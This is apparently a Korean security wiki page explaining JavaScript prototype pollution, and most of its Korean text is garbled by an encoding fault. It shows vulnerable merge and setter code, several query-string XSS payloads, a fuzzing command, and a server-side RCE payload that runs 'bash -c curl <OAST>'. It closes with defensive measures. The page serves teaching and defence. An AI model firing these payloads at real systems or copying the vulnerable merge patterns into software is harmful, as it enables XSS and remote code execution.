๐ Introduction
Prototype Pollution์ Javascript ์ฒ๋ฆฌ ๋ก์ง์ ๋ฌธ์ ๋ก Object ๋ค์ prototype์ ์์ ํ ์ ์์ ๋ ๋ฐ์ํ๋ ๋ณด์ ๋ฌธ์ ๋ฅผ ์๋ฏธํฉ๋๋ค. Object์ protype์ ๋ณ๊ฒฝํ ์ ์๋ ๊ฒฝ์ฐ ์๋๋ ๋ก์ง์ ๋ฒ์ด๋๊ฑฐ๋ DOM์ ๊ด์ฌํ์ฌ XSS ๋ฑ์ ์ถ๊ฐ์ ์ธ ๋ฌธ์ ๋ฅผ ๋ฐ์์ํฌ ์ ์์ต๋๋ค.
let myObj = {}
myObj['__proto__']['a'] = 'aโ
// myObj์ prototype(__proto__) ์ a์ a๋ฅผ ๋ฃ์ต๋๋ค.
console.log(myObj.a)
let newObj = {}
// ์ดํ newObj๋ผ๋ Object๋ฅผ ๋ง๋ค์๋๋ฐ,
// log๋ฅผ ๋ณด๋ฉด a๊ฐ ์ฐํ๋๋ค. Object prototype์ด ๋ฐ๋์๊ธฐ ๋๋ฌธ์
๋๋ค.
console.log(newObj.a)
Prototype Pollution
Object.__proto__
Object.constructor.prototype
Property Access
DOM Clobbering๊ณผ ์ ์ฌํ๊ฒ Javascript์์ Array, JSON ๋ฑ์ Object์์ ํ์ Object๋ฅผ ์ฐธ๊ณ ํ๋ ๊ฒ๊ณผ ๋์ผํ๊ฒ ์ฌ์ฉ๋ฉ๋๋ค.
var obj = {"a":1,"b":function(){return 99;}};
var name1 = "a";
obj.a // 1
obj.["a"] //1
obj[name1] // 1
var name2 = "b";
obj.b // 99
obj.["b"] // function
obj[name2] // function
Magic Property
ํ๋กํ ํ์ ์ setter/getter Magic Property์ด๊ธฐ ๋๋ฌธ์ ํ๋กํ ํ์ ์ ๋ฆฌํด์ ์ค์ ํ ์ ์์ต๋๋ค. ๊ทธ๋์ ์๋์ ๊ฐ์ด Number ๊ฐ์ฒด์ prototype์ pollutionํ์ฌ toString() ํจ์๊ฐ ์ฐ๋ฆฌ๊ฐ ์๋ํ ํจ์๋ก ๋์ํ๋๋ก ๋ฐ๊ฟ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ Prototype Pollution์ด๋ผ๊ณ ํฉ๋๋ค.
var test1 = 1; // int (Number)
var test2 = 2; // int (Number)
console.log(test1.constructor); // function Number()
console.log(test2.constructor); // function Number()
console.log(test2.toString()); // "2"
test1.constructor.prototype.toString = function(){return "hacked"}
console.log(test2.toString()); // "hacked"
๐ก Offensive techniques
Detect
Attack Vector
๋ณดํธ์ ์ผ๋ก __proto__
๋ฅผ ํตํ Prototype ์์ ๋ฐฉ๋ฒ์ด ๋ง์ด ์๋ ค์ ธ ์์ต๋๋ค. ๋ค๋ง ์ด์ธ์๋ constructor ๋ฑ์ ํตํด์๋ ๊ฐ๋ฅํ๋ ์์๋์๋ฉด ์ข์ต๋๋ค.
Object.__proto__
Object.constructor.prototype
Set Property
์ฌ์ฉ์๊ฐ ํต์ ํ ์ ์๋ ์
๋ ฅ ๊ตฌ๊ฐ์์ ๊ฐ์ ์ฝ์ด Property์ ์ค์ ํ๋ ๋ก์ง์ด ์๋ ๊ฒฝ์ฐ __proto__
์ ๊ฐ์ property๋ฅผ ๋ณ๊ฒฝํ์ฌ pollution์ด ๊ฐ๋ฅํฉ๋๋ค.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
const obj1 = {};
setValue(obj1, "__proto__.hacked", 45);
const obj2 = {};
obj2.hacked; // 1
Object Merge
Object 2๊ฐ๋ฅผ ๋ณํฉํ๋ merge ํํ์ ๊ฒฝ์ฐ๋ Prototype Pollution์ ์ทจ์ฝํฉ๋๋ค.
function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"hacked":45}}');
merge(obj1, obj2);
const obj3 = {};
obj3.hacked; // 45
Object Copy
merge({}, obj)
๋ฑ์ ์ด์ฉํ Copy ๋ก์ง๋ Prototype Pollution์ ์ทจ์ฝํฉ๋๋ค. ํนํ๋ merge({}, obj)
๋ก์ง์ ์๋ ค์ง Javascript ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ง์ด ๋์ค๋ ๋ฌธ์ ์ ์
๋๋ค.
function clone(obj) {
return merge({}, obj);
}
const obj1 = JSON.parse('{"__proto__":{"hacked":45}}');
const obj2 = clone(obj1);
const obj3 = {};
obj3.polluted; // 45
Object recursive merge
์๋์ ๊ฐ์ด ์ฌ๊ท์ ์ผ๋ก merge ํ๋ ๊ฒฝ์ฐ๋ ๋ํ์ ์ธ ์ทจ์ฝ ๋ชจ๋ธ ์ค ํ๋์ ๋๋ค.
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
parseQueryString
parseQueryString
, m.parseQueryString
๋ฑ๊ณผ ๊ฐ์ด URL Query์์ ๊ฐ์ ํ์ฑํ์ฌ Object๋ก ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ๋จ์ํ ์น ํ์ด์ง์ ์์์ Query๋ฅผ ๋ฃ๋ ํํ๋ก๋ Pollution์ ์ ๋ํ ์ ์์ต๋๋ค.
GET /?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
์ด๋ ๊ฒ ์ฟผ๋ฆฌ ํ์ฑ์ธ ๊ฒฝ์ฐ ppfuzz ๋ฅผ ๋๊ตฌ๋ฅผ ์ด์ฉํ์ฌ ์ฝ๊ฒ ์ฒดํฌํ ์ ์์ต๋๋ค.
ppfuzz -l urls.txt
๋ํ JSON ํฌ๋งท์ ์ฒ๋ฆฌํ๋ ํํ๋ ๋น์ทํ๊ฒ ์ ์ฉ๋ฐ์ต๋๋ค.
GET /?__proto__{"innerHTML": "<img/src/onerror%3dalert(1)>"}
Library ๋ณ Payloads
- https://github.com/BlackFan/client-side-prototype-pollution
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
ZAP Scripting
Prototype Pollution์ ์ฝ๊ฒ ์๋ณํ๊ฒ ์ํด์ ZAP์์ Passive ์คํฌ๋ฆฝํธ๋ฅผ ํ๋ ๋ง๋ค์ด๋์ต๋๋ค. ํด๋น ํจ์๋ธ ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ฉํ์๋ฉด ์๋์ ๊ฐ์ด Response์ ์๋ ค์ง Prototype Pollution ์ทจ์ฝ ์ฝ๋๊ฐ ์๋ ๊ฒฝ์ฐ Alerts์์ Medium ์ด์๋ก ํ๊ธฐํด์ค๋๋ค ๐
Exploitation
XSS
Prototype Pollution์ ๋ํ์ ์ธ ๋ฆฌ์คํฌ๋ XSS์ ๋๋ค. Object์ Prototype์ ๋ณ๊ฒฝํ ์ ์๊ธฐ ๋๋ฌธ์ ์ดํ Object์ ์์ฑ์ด๋ ์ฌ์ฉ๋จ์ ๊ด์ฌํ์ฌ ์์๋ก ์คํฌ๋ฆฝํธ๊ฐ ๋์๋ ์ ์๋๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
e.g
GET /?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
GET /?__proto__[context]=<img/src/onerror%3dalert(1)>
GET /?__proto__[onload]=alert(1)
GET /?__proto__[src][]=data:,alert(1)//
GET /?__proto__[url]=data:,alert(1)//
localStorage pollution
๋ง์ฝ ์๋น์ค์์ localStorage๋ฅผ ์ฌ์ฉํ ๋ set()
ํจ์๊ฐ ์๋ getter๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ Prototype Pollution์ ์ทจ์ฝํฉ๋๋ค. ๋ง์ฝ localStorage์ mydebug ๊ฐ์ ๊ฐ์ง๊ณ FE์ ์ค์ ์ ๋ณ๊ฒฝํ๋ค๊ณ ๊ฐ์ ํ๊ณ , FE์์ getter๋ก ์ด๋ฅผ ๊ฐ์ ธ์์ ๋ถ๊ธฐํ๋ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ์
์ฉ์ด ๊ฐ๋ฅํฉ๋๋ค.
// localStorage.mydebug is false
// Pollution!
const obj2 = JSON.parse('{"__proto__":{"mydebug":true}}');
merge(obj1, obj2);
// localStorage.mydebug is true
if localStorage.mydebug {
// some debug logic..
}
Bypass any protection
Object์ ๊ฐ์ ํต์ ํ ์ ์๊ธฐ ๋๋ฌธ์ Javascript ๋ด๋ถ์์ ์กด์ฌํ๋ ํต์ ๋ก์ง์ ์๋ฌ๋ฅผ ์ ๋ํ๊ฑฐ๋ ๋ค๋ฅธ ๋ถ๊ธฐ๋ฅผ ์ ๋ํ์ฌ ์ฐํํ ์ ์์ต๋๋ค.
RCE
Javascript๊ฐ ๋์ํ๋ ๊ตฌ๊ฐ(e.g NodeJS)์ ๋ฐ๋ผ์ Server-side์ ๋ฌธ์ ๋ก ๋ฒ์ง ์ ์์ต๋๋ค.
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c curl <OAST>");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
๐ก Defensive techniques
Object.freeze
๋ํ์ ์ธ ๋ฐฉ๋ฒ์ผ๋ก Object.freeze (Object.prototype)
๋ฅผ ์ฌ์ฉํ์ฌ prototype์ freeze ํฉ๋๋ค. ๊ทธ๋ฌ๋ฉด ์ดํ์ prototype์ ๋ณ๊ฒฝํ ์ ์์ด Pollution์ ์๋ฐฉํ ์ ์์ต๋๋ค.
Not use Recursive merge
Recursive merge๋ ์ฌ์ฉํ์ง ์๋ ๊ฒ์ด ์ข์ต๋๋ค.
Using objects without prototypes
Object.create(null)
์ ๊ฐ์ด prototype์ด ์๋ object๋ฅผ ์ด์ฉํ์ฌ pollution์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
Object to Map
Object ๊ธฐ๋ฐ์ ๋ก์ง์ Map์ผ๋ก ๋ฐ๊พธ์ด pollution์ ์๋ฐฉํ ์ ์์ต๋๋ค.
Update JS Library
JS ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ Prototype Pollution์ ๊ฒฝ์ฐ๋ ๋ง์ต๋๋ค. ์ด๋ฌํ ๊ฒฝ์ฐ ๊ฐ๊ธ์ ํจ์น ๋ฒ์ , ์ต์ ๋ฒ์ ์ผ๋ก ์ ๋ฐ์ดํธํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๐น Tools
- https://github.com/dwisiswant0/ppfuzz
- https://github.com/hahwul/fuzzstone/blob/main/zap-scripts/passive/findPrototypePollution.js
๐ Articles
- CVE-2019-11358๋ฅผ ํตํด Prototype Pollution์ ์์๋ณด์
- localStorage + getter = Prototype Pollution
๐ References
- https://github.com/BlackFan/client-side-prototype-pollution
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution